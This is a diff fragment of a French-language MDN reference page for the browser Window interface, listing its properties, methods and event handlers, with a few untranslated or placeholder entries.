+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de l'interface {{domxref("EventTarget")}} et implémente les propriétés des mixins {{domxref("WindowOrWorkerGlobalScope")}} et {{domxref("WindowEventHandlers")}}.</em></p>
+
+<p>Notez que les propriétés qui sont des objets (par exemple, pour redéfinir le prototype d'éléments intrinsèques) sont répertoriées dans une section distincte ci-dessous.</p>
+
+<dl>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Cette propriété indique si la fenêtre en cours est fermée ou non.</dd>
+ <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'objet console qui fournit l'accès à la console de débogage du navigateur.</dd>
+ <dt>{{domxref("Window.content")}} et Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'élément de contenu dans la fenêtre en cours. Depuis Firefox 57 (initialement Nightly uniquement), les deux versions sont uniquement disponibles à partir du code chrome (privilégié) et ne sont plus disponibles sur le Web.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie les objets du contrôleur XUL pour la fenêtre chrome en cours.</dd>
+ <dt>{{domxref("Window.customElements")}}{{ReadOnlyInline}}</dt>
+ <dd>renvoie une référence à l'objet {{domxref("CustomElementRegistry")}}, qui peut être utilisée pour enregistrer de nouveaux <a href="https://developer.mozilla.org/fr-FR/docs/Web/Web_Components/Using_custom_elements">éléments personnalisés</a> et obtenir des informations à propos d'éléments personnalisés précédemment enregistrés.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Retourne l'objet crypto du navigateur.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Récupère / définit le texte de la barre d'état pour la fenêtre donnée.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie le rapport entre les pixels physiques et les pixels indépendants du périphérique dans l'affichage en cours.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Récupère les arguments passés à la fenêtre (si c'est une boîte de dialogue) au moment où {{domxref ("window.showModalDialog()")}} a été appelé. C'est un {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Synonyme de {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence au document que la fenêtre contient.</dd>
+ <dt>{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMMatrix")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D.</dd>
+ <dt>{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMMatrixReadOnly")}} représentant des matrices 4x4, adapté aux opérations 2D et 3D.</dd>
+ <dt>{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMPoint")}} représentant un point 2D ou 3D dans un système de coordonnées.</dd>
+ <dt>{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMPointReadOnly")}} représentant un point 2D ou 3D dans un système de coordonnées.</dd>
+ <dt>{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMQuad")}}, qui fournit un objet quadrilatère, c'est-à-dire, ayant quatre coins et quatre côtés.</dd>
+ <dt>{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.</dd>
+ <dt>{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à un objet {{domxref("DOMRectReadOnly")}} représentant un rectangle.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie l'élément dans lequel la fenêtre est intégrée, ou null si la fenêtre n'est pas intégrée.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie un tableau des sous-cadres dans la fenêtre en cours.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Cette propriété indique si la fenêtre est affichée en plein écran ou non.</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Non supporté depuis Gecko 13 (Firefox 13). Utilisez {{domxref("Window.localStorage")}} à la place.<br>
+ Était : divers objets de stockage utilisés pour stocker des données sur plusieurs pages.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne une référence à l'objet d'historique.</dd>
+ <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Récupère la hauteur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement horizontale.</dd>
+ <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Récupère la largeur de la zone de contenu de la fenêtre du navigateur, y compris, si affichée, la barre de défilement verticale.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
+ <dd>Indique si un contexte est capable d'utiliser des fonctionnalités nécessitant des contextes sécurisés.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie le nombre de cadres dans la fenêtre. Voir également {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}}</dt>
+ <dd>Récupère/définit l'emplacement, ou l'URL en cours, de l'objet de fenêtre.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie l'objet de la barre d'adresse, dont la visibilité peut être inversée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Renvoie une référence à l'objet de stockage local utilisé pour stocker les données accessibles uniquement par l'origine qui les a créées.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie l'objet barre de menus, dont la visibilité peut être inversée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Renvoie l'objet <a href="/fr-FR/docs/The_message_manager">gestionnaire de messages</a> pour cette fenêtre.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}</dt>
+ <dd>Le temps en millisecondes depuis l'instant auquel le cycle d'animation en cours a commencé.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Renvoie la coordonnée horizontale (X) du coin supérieur gauche du point de vue de la fenêtre, en coordonnées d'écran. Cette valeur est restituée en pixels CSS. Voir <code>mozScreenPixelsPerCSSPixel</code> dans {{interface("nsIDOMWindowUtils")}} pour un facteur de conversion pour s'adapter aux pixels de l'écran si nécessaire.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Renvoie la coordonnée verticale (Y) du coin supérieur gauche du point de vue de la fenêtre, en coordonnées d'écran. Cette valeur est indiquée en pixels CSS. Voir <code>mozScreenPixelsPerCSSPixel</code> pour un facteur de conversion pour s'adapter aux pixels de l'écran si nécessaire.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Renvoie le nombre de fois où le document en cours a été réaffiché à l'écran dans cette fenêtre. Cela peut être utilisé pour calculer les performances d'affichage.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Récupère / définit le nom de la fenêtre.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'objet navigateur.</dd>
+ <dt>{{domxref("Window.NetworkInformation")}} {{readOnlyInline}} {{experimental_inline}}</dt>
+ <dd>Renvoie une référence à l'interface {{domxref("NetworkInformation")}}, qui fournit des informations sur la connexion qu'un périphérique est en train d'utiliser pour communiquer avec le réseau et fournit un moyen pour les scripts d'être notifiés si le type de connexion change. </dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Renvoie une référence à la fenêtre qui a ouvert la fenêtre en cours.</dd>
+ <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
+ <dd>Renvoie l'orientation en degrés (par incréments de 90 degrés) du point de vue par rapport à l'orientation naturelle du périphérique.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Récupère la hauteur de l'extérieur de la fenêtre du navigateur.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Récupère la largeur de l'extérieur de la fenêtre du navigateur.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>Un alias pour {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>Un alias pour {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'objet de stockage de session utilisé pour stocker les données accessibles uniquement par l'origine qui les a créées..</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie une référence au parent de la fenêtre ou du sous-cadre en cours.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("Performance")}}, qui inclut les attributs {{domxref("Performance.timing", "timing")}} et {{domxref("Performance.navigation", "navigation")}}, dont chacun est un objet fournissant des données liées aux performances. Voir aussi <a href="/fr-FR/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Utilisation de Chronométrage de Navigation</a> pour plus d'informations et d'exemples.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie l'objet barre personnelle, dont la visibilité peut être inversée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Fournissait précédemment un accès pour installer et supprimer des modules PKCS11.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>La valeur de retour à renvoyer à la fonction qui a appelé {{domxref("window.showModalDialog()")}} pour afficher la fenêtre comme boîte de dialogue modale.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'objet écran associé à la fenêtre.</dd>
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie la distance horizontale de la bordure gauche du navigateur de l'utilisateur à partir du côté gauche de l'écran.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie la distance verticale de la bordure supérieure du navigateur de l'utilisateur à partir du haut de l'écran.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie l'objet barres de défilement, dont la visibilité peut être modifiée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Le décalage maximal dont la fenêtre peut étre décalée horizontalement, c'est-à-dire la largeur du document moins la largeur du point de vue.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Le décalage maximal dont la fenêtre peut étre décalée verticalement (c'est-à-dire, la hauteur du document moins la hauteur du point de vue).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie le nombre de pixels dont le document a déjà été décalé horizontalement.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie le nombre de pixels dont le document a déjà été décalé verticalement.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence d'objet à l'objet fenêtre lui-même.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Renvoie un objet de stockage pour stocker des données dans une session de page unique.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence à l'objet fenêtre de la barre latérale.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("SpeechSynthesis")}}, qui est le point d'entrée pour l'utilisation de la fonctionnalité de synthèse vocale de l'<a href="/fr-FR/docs/Web/API/Web_Speech_API">API Web Speech</a>.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Récupère/définit le texte dans la barre d'état en bas du navigateur.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie l'objet barre d'état, dont la visibilité peut être inversée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie l'objet barre d'outils, dont la visibilité peut être inversée dans la fenêtre.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie une référence à la fenêtre la plus haute dans la hiérarchie des fenêtres. Cette propriété est en lecture seule.</dd>
+ <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("VisualViewport")}} représentant le point de vue visuel pour une fenêtre donnée.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie une référence à la fenêtre en cours.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Renvoie une référence à l'objet <code>window</code> dans les cadres. Voir {{domxref("Window.frames")}}} pour plus de détails.</dd>
+</dl>
+
+<h3 id="Propriétés_implémentées_depuis_ailleurs">Propriétés implémentées depuis ailleurs</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie l'objet {{domxref("CacheStorage")}} associé au contexte en cours. Cet objet active des fonctionnalités telles que le stockage des ressources pour une utilisation hors connexion, et la génération de réponses personnalisées aux requêtes.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Fournit un mécanisme permettant aux applications d'accéder de manière asynchrone à des bases de données indexées ; renvoie un objet {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie un booléen indiquant si le contexte actuel est sécurisé (<code>true</code>) ou non (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Renvoie l'origine de l'objet global, sérialisé comme une chaîne. (Cela ne semble pas encore être implémenté dans aucun navigateur.)</dd>
+</dl>
+
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des méthodes de l'interface {{domxref("EventTarget")}} et implémente les méthodes de {{domxref("WindowOrWorkerGlobalScope")}} et {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Affiche une boîte de message d'alerte.</dd>
+</dl>
+
+<p><span class="comment">base64 func <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=287112" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=287112</a> (see last comments) <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=123003" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=123003</a> <a class="external" href="http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsGlobalWindow.cpp#4946" rel="freelink">http://lxr.mozilla.org/seamonkey/sou...indow.cpp#4946</a></span></p>
+
+<dl>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Recule d'une page dans l'historique de la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Déplace la focalisation hors de la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
+ <dd>Vous permet d'annuler un rappel précédemment planifié avec {{domxref("Window.requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Vous permet d'annuler un rappel précédemment planifié avec {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Enregistre la fenêtre pour qu'elle capture tous les évènements du type spécifié.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Annule l'exécution répétée définie en utilisant <code>setImmediate</code>.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Ferme la fenêtre en cours.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Affiche une boîte de dialogue avec un message auquel l'utilisateur doit répondre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Utilisé pour déclencher un évènement.</dd>
+ <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
+ <dd>Écrit un message à la console.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Recherche la chaîne de caractères donnée dans une fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Donne la focalisation à la fenêtre en cours.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Avance la fenêtre d'un document dans l'historique.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Fait flasher l'icône de l'application.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Récupère un style calculé pour l'élément donné. Un style calculé indique les valeurs de toutes les propriétés CSS de l'élément.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
+ <dd>Récupère le style calculé par défaut pour l'élément indiqué, en ignorant les feuilles de style d'auteur.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Renvoie l'objet de sélection représentant les éléments sélectionnés.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Renvoie le navigateur à la page d'accueil.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Renvoie un objet {{domxref("MediaQueryList")}} représentant la chaîne d'interrogation de média spécifiée.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimize la fenêtre.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Déplace la fenêtre en cours de la quantité indiquée.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Déplace la fenêtre vers les coordonnées spécifiées.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Ouvre une nouvelle fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Ouvre une nouvelle fenêtre de dialogue.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Fournit un moyen sécurisé pour une fenêtre d'envoyer une chaîne de données à une autre fenêtre, qui n'a pas besoin d'être dans le même domaine que la première.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Ouvre la boîte de dialogue d'impression du document en cours.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Renvoie le texte saisi par l'utilisateur dans une boîte de dialogue à invite.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>Annule la capture des évènements d'un certain type par la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Indique au navigateur qu'une animation est en cours, en demandant au navigateur de planifier une redessinage de la fenêtre lors de l'image d'animation suivante.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}</dt>
+ <dd>Active la planification de tâches pendant les périodes d'inactivité du navigateur.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Redimensionne la fenêtre en cours d'une certaine quantité.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Redimensionne dynamiquement la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Fait défiler la fenêtre à un endroit particulier dans le document.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Fait défiler le document dans la fenêtre de la quantité indiquée.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
+ <dd>Fait défiler le document du nombre de lignes indiqué.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
+ <dd>Fait défiler le document en cours du nombre de pages indiqué.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Fait défiler à un jeu de coordonnées particulier dans le document.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
+ <dd>Change le curseur pour la fenêtre en cours.</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Exécute une fonction après que le navigateur a terminé d'autres tâches lourdes</dd>
+ <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
+ <dd>Inverse la possibilité pour un utilisateur de redimensionner une fenêtre.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
+ <dd>Dimensionne la fenêtre en fonction de son contenu.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>Cette méthode arrête le chargement de la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
+ <dd>Met à jour l'état des commandes de la fenêtre chrome en cours (IU).</dd>
+ <dt>
+ <h3 id="Méthodes_implémentées_depuis_ailleurs">Méthodes implémentées depuis ailleurs</h3>
+ </dt>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Enregistre un gestionnaire d'événement pour un type d'événement spécifique dans la fenêtre.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Décode une chaîne de données qui a été codée en utilisant l'encodage en base 64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Crée une chaîne ASCII codée en base 64 à partir d'une chaîne de données binaires.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Annule l'exécution répétée définie en utilisant {{domxref("WindowOrWorkerGlobalScope.setInterval ()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Annule l'exécution différée définie en utilisant {{domxref("WindowOrWorkerGlobalScope.setTimeout ()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepte une variété de sources d'images différentes, et renvoie un {{domxref("Promise")}} qui se résout en une {{domxref("ImageBitmap")}}. En option, la source est détourée avec le rectangle des pixels d'origine en (sx, sy) et de largeur sw, et de hauteur sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Démarre le processus de récupération d'une ressource à partir du réseau.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Supprime un gestionnaire d'événement de la fenêtre.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Planifie une fonction à exécuter à chaque fois qu'un nombre donné de millisecondes s'est écoulé.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Planifie une fonction à exécuter dans un laps de temps donné.</dd>
+ <dt>
+ <h3 id="Méthodes_obsolètes">Méthodes obsolètes</h3>
+ </dt>
+ <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt>
+ <dd>Affiche un dialogue modal. <strong>Cette méthode a été complètement supprimée dans Chrome 43, et dans Firefox 55</strong>.</dd>
+</dl>
+
+<h2 id=".C3.89v.C3.A8nements" name=".C3.89v.C3.A8nements">Gestionnaires d'évènements</h2>
+
+<p>Ce sont des propriétés de l'objet window qui peuvent être définies pour établir des gestionnaires d'événements pour les différentes choses qui peuvent se produire dans la fenêtre et qui pourraient être intéressantes.</p>
+
+<p><em>Cette interface hérite des gestionnaires d'événements de l'interface {{domxref("EventTarget")}} et elle implémente les gestionnaires d'événements de {{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Note :</strong> à partir de {{Gecko ("9.0")}}, vous pouvez maintenant utiliser la syntaxe <code>if ("onabort" in window)</code> pour déterminer si une propriété de gestionnaire d'événements donnée existe ou non. Cela est dû au fait que les interfaces du gestionnaire d'événements ont été mises à jour pour être des interfaces Web IDL correctes. Voir les gestionnaires d'événements DOM pour plus de détails.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dt> </dt>
+ <dd>Appelé quand le chargement d'une ressource a été avorté, comme par le fait qu'un utilisateur annule un chargement alors qu'il était encore en cours.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Appelé lorsque la boîte de dialogue d'impression est fermée. Voir l'événement {{event ("afterprint")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Appelé lorsque la boîte de dialogue d'impression est ouverte. Voir l'événement {{event ("beforeprint")}}.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>Propriété de gestionnaire d'événements qui est déclenchée avant qu'un utilisateur ne soit invité à enregistrer un site Web sur un écran d'accueil sur mobile.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour les événements avant-déchargement dans la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Appelé après que la fenêtre a perdu la focalisation, comme en raison d'une fenêtre contextuelle.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour les événements de changement dans la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
